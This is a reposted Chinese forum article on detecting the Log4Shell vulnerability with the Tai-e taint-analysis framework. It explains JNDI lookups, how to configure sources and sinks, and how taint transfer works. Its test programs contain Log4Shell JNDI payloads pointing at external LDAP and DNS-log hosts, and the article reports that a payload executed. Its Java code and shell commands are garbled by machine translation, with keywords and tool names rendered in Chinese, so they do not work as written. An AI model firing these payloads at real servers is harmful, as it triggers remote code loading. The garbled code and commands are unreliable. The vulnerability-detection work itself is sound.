跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

太阿静态分析检测Log4Shell

精选回复

发布于

##0x01 Tai-e 的污点分析解决方案

Java 污点分析(跟踪受污染的数据流)中最令人烦恼的两个困难:别名关系和动态反射。

Tai-e污点分析提出了一种基于指针分析的架构来解决别名分析和反射分析两个问题。

**解决思路**:

- 将污点转换为对象,然后使用指针分析来传播污点数据,这样就自然解决了别名关系

- 使用2019年提出的静态反射分析技术,目前拥有最强的处理反射的推导能力

##0x02 Log4Shell漏洞原理

记录方法:logger.error(str)

### 2a 查找机制

将${.}中的具体字符串映射到对应的值,如图所示。b0b08970210dc7814ad17f5d99464d2e.png

通过查找机制,log4j的日志记录功能更加强大并且跨平台。它还可以通过这种机制输出环境信息,而无需硬编码。

### 2b JNDI 查找

JNDI(Java 命名和目录接口):${jndi :}

- Java 平台的标准扩展

- 通过绑定的概念将名称和对象联系起来:名称--对象

- 文件系统:文件名--file

- DNS:URL地址--IP地址

- 提供“按名称查找相应对象”的标准化接口

- 实际的搜索功能是通过特定技术实现的,如RMI、DNS、Corba、Ldap等。

### 2c JNDI LDAP 查找

LDAP(轻量级目录访问协议):${jndi : ldap:}

- 目录访问协议,可用于通过网络访问和管理分布式目录服务

- Log4j将输入解析为远程地址并发起请求

- 服务器响应请求

构建恶意负载:${jndi : ldap://badman.io/Exploit}。

##0x03 如何分析Log4Shell

### 3a 设置源和接收器

Log4Shell本质上是一个注入漏洞(Injection),可以通过Taint Analysis来检测。该漏洞的进入方法和利用方法如下。

````

记录器.错误(.)

⬇️

.

JNDI 查找

````

使用Tai'a提供的主测试程序:

````

导入org.apache.logging.log4j.LogManager;

导入org.apache.logging.log4j.Logger;

公共类服务器{

公共静态无效主(字符串[] args){

记录器logger=LogManager.getLogger(Server.class);

字符串输入=getInput();

记录器.错误(输入);

}

私有静态字符串getInput() {

返回\'${jndi:ldap://badman.io/Exploit}\';

}

}

````

来源:标记为用户输入。污点数据来自Main 的getInput() 方法。污点数据是系统调用该方法时获取的。

````

来源:

- {kind: 调用,method: \'\',index: 结果}

````

Sinks:对应JNDI Lookup。在log4j中,调用InitialContext的lookup()方法来启动JNDI查找,因此可以将Sink标记为javax.naming.InitialContext.lookup(String)。

````

水槽:

- {方法: \'\',索引: 0}

````

污点分析的目的是找到从错误到JNDI Lookup 的传播路径。

实际测试Log4Shell时遇到的挑战:

- 跨越33层方法调用

- 受污染的数据多次更改

- 该过程涉及多个反射API,也可能导致数据流跟踪中断。

### 3b 自建测试项目

使用IDEA创建Maven项目并使用pom.xml配置log4j 2.14.0:6e594f1821d01a814d7e8840e370bf8a.png

测试程序:编写一个Java测试类,动态传入logger.error(str)的字符串参数。

````

包org.example;

导入org.apache.logging.log4j.*;

导入java.lang.String.*;

公共类主要{

公共静态无效主(字符串[] args){

记录器记录器=LogManager.getLogger();

//字符串poc=\'${java:os}\';

字符串poc=getInput();

记录器.error(poc);

}

私有静态字符串getInput(){

return \'${jndi:ldap://9710ck.dnslog.cn}\';

}

}

````

运行测试以确认有效负载成功执行:5b3165cb0883c03afa91aab1a4472bc9.png

### 3c 配置Tai-e 的三个步骤

漏洞配置分析步骤太e:821d076b20172f34fd7a955134cd127a.png

##0x04 Tai-e 污点分析配置

参考:[配置污点分析-官方文档](https://tai-e.pascal-lab.net/docs/current/reference/en/taint-analysis.html#configuring-taint-analysis)。

Tai-e 使用YAML 配置文件来配置源、接收器、污点传输和清理器以进行污点分析。

### 4a 基本概念

仅介绍不熟悉的概念。

变量表示

设置污点分析时,通常需要有一个代表调用站点或方法的变量。

第一个是调用点的变量,如r=o.foo(p, q);7e96a43935204981530e757ee02d404b.png

第二种,方法变量,目前支持通过方法的索引来指定参数。例如,foo方法的参数t、s、o的索引分别为0、1、2。

````

包org.example;

类我的类{

void foo(T t, 字符串s, 对象o) {

.

}

}

````

**现场签名**

字段签名的目的是唯一地标识所分析程序中的字段。字段签名格式如下:e0d8ab7a65d0fe34cf7c627b25bf0a12.png

例如以下字段的签名信息

````

包org.example;

类我的类{

字符串信息;

}

````

其字段签名为:455fa56689df5b5efb8ef67206af0da6.png

### 4b 来源类别

污点对象是根据源生成的。在配置文件中,源被指定为源条目列表,放置在源键后面。

**调用来源**

最常用的源类型是“调用源”,它适用于调用站点中生成受污染对象的场景。格式如下:

````

- { kind: 调用,method: METHOD_SIGNATURE,index: INDEX,type: TYPE }

````

如果配置文件中写入了调用源,当污点分析发现调用点调用了METHOD_SIGNATURE 时,TaiA 会为调用点的变量创建一个Type 类型的污点对象。 (Type是可选的,如果不指定,则应该是生成函数的返回类型的污点对象)

提示:有些人可能想知道为什么函数签名已经包含方法的声明类型时还需要包含“type: Type”字段。

- 这是因为污点对象的类型应与实际对象保持一致。

- 但在某些情况下,与该方法关联的实际对象类型可能是所声明类型的子类。

- 所以在这种情况下我们使用type: Type 来指定确切的对象类型

例如,在下面的代码中,source()声明的类型是X,但实际返回的对象类型是Y,是X的子类。

````

X 类{.}

Y 类扩展X { . }

Z类{

X 源() {

.

返回新的Y();

}

}

````

**理解**:污点分析的数据源往往来自于封装的方法,如request.getParameter(str)、request.getInputStream()。基于source创建的污点对象就是这些调用点的返回对象,也是污点分析要跟踪的数据流。

**参数来源**

有些方法(例如入口方法)在程序内没有显式调用点,因此无法在其调用点为变量生成污点对象。然而,在某些情况下,为其参数生成污点对象可能很有用。为了满足这个需求,Tai'a的污点分析提供了配置参数源的功能:

````

- { kind: 参数,method: METHOD_SIGNATURE,index: 索引,type: 类型}

````

理解:一般来说,JavaWeb污点分析中的源码类型是call。

**现场来源**

Taia 的污点分析还允许用户使用以下格式指定字段作为污点源:

````

- { kind: 字段,field: FIELD_SIGNATURE,type: 类型}

````

当配置中包含这样的源时,如果污点分析发现字段“FIELD_SIGNATURE”已加载到变量“v”中(例如“v=o.f”),它将为其生成一个“TYPE”污点对象。

### 4c 水槽类别

目前TaiA支持指定sink方法的特定变量作为sink。在配置文件中,接收器被指定为放置在源键之后的接收器条目列表。

````

水槽:

- { method: METHOD_SIGNATURE,index: INDEX }

-.

````

当污点分析识别出调用Method_Signature 和Index 表示的变量的调用站点时,TaiA 将为检测到的污点流生成报告。

例如new File(name)根据文件名创建一个文件对象,并将其设置到sinks得到:23309bd7e7bcf0ac3f58011e4f907ef9.png

### 4d污渍转移(质疑与思考)

与指针分析不同

这部分似乎是跟踪数据流的关键。尝试理清思路。

回顾《程序分析》的理论课程,主要讲解了Soundness、中间表示IR、数据流分析方向/代码帧的建模与计算、过程间分析、指针分析等。

通过回顾,我们发现指针分析有五种语句场景:New、Assign、Store、Load、Call。被污染的对象基本上都是通过这些语句流转的,这似乎能够满足跟踪数据流向的需求。

提出问题:那么为什么我们需要污点转移?换句话说,通过指针分析,为什么污染对象的数据流跟踪会中断?

尝试解答:经过查找资料和思考,我还是在官网文档中找到了答案。

- 指针分析可以处理依赖于分析语句的污点传输

- 指针分析可以跟踪赋值类型语句(例如Store 和Load 语句)的污点传输。

- 然而,指针分析处理的语句不包括StringBuilder.append(taint)、StringBuilder.toString()等方法调用语句,因此很难跟踪这些语句中污染对象的传输。

- 所以需要额外收集这些语句,然后通过污点传输配置指定污点对象/指针对象的流向

例如,示例代码:

````

字符串污点=getSecret(); //来源

StringBuilder sb=new StringBuilder();

sb.append(\'abc\');

sb.append(污点); //污点被转移到sb

sb.append(\'xyz\');

字符串s=sb.toString(); //污点被转移到s

泄漏; //下沉

````

当调用sb.append() 语句时,污点将转移到StringBuilder 对象。当调用sb.toString() 语句时,污点从StringBuilder 对象转移到String 对象。

对于这两个方法调用语句,我们需要告诉Taia被污染的对象指向哪个新对象。例如,当污染对象流向java.lang.StringBuilder的append(java.lang.String)语句时,污染对象流向的对象就成为该方法的返回类型,即java.lang.StringBuilder对象。

这两条语句的执行将向受污染对象的指针流图添加两个新节点:java.lang.String -- java.lang.StringBuilder -- java.lang.String。

从这里开始,**受污染对象的数据流跟踪/实际上是一个指针流图**,你可以继续分析它。b63dafd4494cbcdb150b210ab3787057.png

突然我意识到,污染对象的数据流跟踪实际上是一个指针流图,是平滑的。

概念和场景

污点转移的概念:

- 是污点分析的常见场景

- 程序运行时,污点所代表的数据(如私有数据/外部可控输入数据)可能以不同的形式在程序中传播,其形式的变换称为Tiant Transfer。

- 通常污点转移是由某些方法的调用引起的

列出五种由方法调用base.foo(a~0~, a~1~, a~n~) 引起的污点转移的情况。e1483776b0edd3f1f87531c386e76799.png

不同的base、foo甚至a~n~可能会导致不同的污点转移。尝试考虑污点转移问题的解决方案:

- 第一个是Tai-e使用的解决方案

- 持续收集具体的base/foo/arg,指定污点传输的from和to,获取指针流向关系。

- 缺点是在分析JavaWeb系统定制的方法时,不仅需要收集常用方法的污点传递关系,还需要定制污点传递关系。

- 其次是检查方法调用执行后相关的result/base/arg指针是否发生变化。例如,是否添加了受污染对象的指针?否

- 例如StringBuilder.append()会申请一个新地址并复制原地址中的数据,然后将指针指向新地址并释放原地址

- 那么传输结束后,原污染对象的指针地址被释放,而不是作为污染对象的标识符存储在新地址中,而只是传输内存中的数据。如果没有标识符,则意味着无法确定受污染的对象是否已添加到创建的StringBuilder 对象中。

##0x05 安装TaiA并检测Log4Shell

参考文档:[Tai-e 0.5.1参考文档](https://tai-e.pascal-lab.net/docs/current/reference/en/index.html)。

### 5a 安装Taia

本地环境如下,根据参考文档创建并配置项目。

- IntelliJ IDEA 2023.1

- 亚马逊Corretto 版本17.0.8

单独下载Tai'a 的java-benchmarks 子模块,其中包含分析中使用的Java 库。

Tai'a的主类是pascal.taie.Main,它的配置项有三类。24a9b32797c330562b36cbbc5b8c81b6.png

**程序选项**

这些选项指定要分析的Java 程序(例如P)和库。

由于Soot仅部分支持Java7版本,因此建议使用TaiA来分析字节码而不是源代码。

- 类路径(-cp/--class-path),目前支持以下类型的路径

- 支持jar文件的相对/绝对路径

- 包含“.class”(或“.java”)文件的目录的相对/绝对路径

- 应用程序类路径(-acp/--app-class-path)

- 参数选项与-cp完全相同

- 区别在于-cp 只会将application/main/input 引用的字节码添加到P 的封闭世界中,而-acp 会将所有字节码添加到P 的封闭世界中。

- 主类(-m/--main-class),表示P的主类。该类必须声明一个public static void main(String[])方法

- 输入类(--input-classes),将类添加到P 的封闭世界中。有些Java程序使用动态类加载,因此Tai-e无法从主类中引用相关类。可以通过此选项将此类添加到封闭世界中

- Java版本(-java),指定分析时使用的Java库的版本,默认为6,目前提供Java版本3、4、5、6、7和8的库

- Prepend JVM类路径(-pp/--prepend-JVM),将JVM类路径添加到分析类路径中

- 允许镜像引用(-ap/--allow-phantom)允许TaiA处理镜像引用,即引用类路径中找不到的类

**分析选项**

这些选项确定要执行的分析及其行为,并分为两组。

- 一般分析选项

- 预构建IR (--pre-build-ir),在开始分析之前为所有可用方法构建IR

- 分析范围(scope),默认值APP,指定分析类和方法的分析范围,APP-only应用类,ALL-所有类,调用图中Reachable-可达类(这个范围需要分析cg,即调用图构建)

- 自定义分析选项

- 要执行分析,您需要指定分析ID和选项

- Tai-e中所有可用的分析及其信息都列在分析配置文件src/main/resources/tai-e-analysiss.yml 中

**其他选项**

- 帮助:-h/--help

- **世界缓存模式**:-wc/--world-cache-mode

- 使用世界缓存模式通过将已完成的构建世界缓存到磁盘来节省构建时间。

- 启用后,它将尝试加载缓存的世界,而不是从头开始重建它,从而大大加快世界构建过程。只要分析的程序(即classPath、mainClass 等)保持不变,这种方法就有效。此选项在分析开发期间特别有用,此时分析的程序保持不变,但分析器代码被修改并重复运行,从而节省开发人员的时间。宝贵的时间。

- 指定输出目录(--output-dir):--output-dir

- 默认情况下,Tai-e 将所有输出(例如日志、IR 和各种分析结果)存储在当前工作目录内的输出文件夹中。如果您希望将输出保存到不同的目录,只需使用此选项。

**命令行选项的使用示例**

假设我们要分析一个程序P如下:

- P 由两个文件组成:“foo.jar”(JAR 文件)和“my program/dir/bar.class”(类文件)。

- P 的主类是`baz.Main`

-P 用Java 8分析

- 我们运行2次类型敏感的指针分析并将指针分析的执行时间限制为60秒

那么选项将是:

````

java -jar tai-e-all.jar -cp foo.jar -cp \'我的程序/dir/\' -m baz.Main -java 8 -a \'pta=cs:2-type;time-limit:60;\'

````

### 5b 配置和检测

根据视频教程,要使用TaiA自行检测Log4Shell,只需要做两件事。

- 查找主类:pascal.taie.Main

- 只需配置运行参数:--options-file java-benchmarks/log4j/2.14.0/options.yml

编辑TaiA运行配置,使用--options-file指定运行参数:d9e1c821228be0a50cf43ca0bb70d3e0.png

检查output/tai-e.log的运行结果,可以看到发现了一个受污染的流。

````

检测到1 个污点流:

污点流{

[12@L8] temp$4=invokestatic Server.getInput()/结果

-

[1@L172] $r3=invokeinterface $r2.lookup(name)/0}

````

将污点分析结果.dot 转换为svg 文件

````

点-Tsvg -o 污点流图.svg 污点流图.dot

````

点语言是一种用代码描述各种图形关系的工具,通常需要安装Graphviz。

````

酿造安装graphviz

````

生成的污点流如图:8e0caf299af17d03d609bd2c2479da5c.png

## 参考

- [关于程序分析框架“Tai'a”及安全漏洞-Log4Shell](https://www.bilibili.com/video/BV1dV411F781/?spm_id_from=333.999.0.0vd_source=6f00d82ef8dcee1f58beb6fb7faee4ff)

- [配置污点分析-官方文档](https://tai-e.pascal-lab.net/docs/current/reference/en/taint-analysis.html#configuring-taint-analysis) 转载自先知社区:https://xz.aliyun.com/t/13223

作者:弗兰克马云惹不起马云朱

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。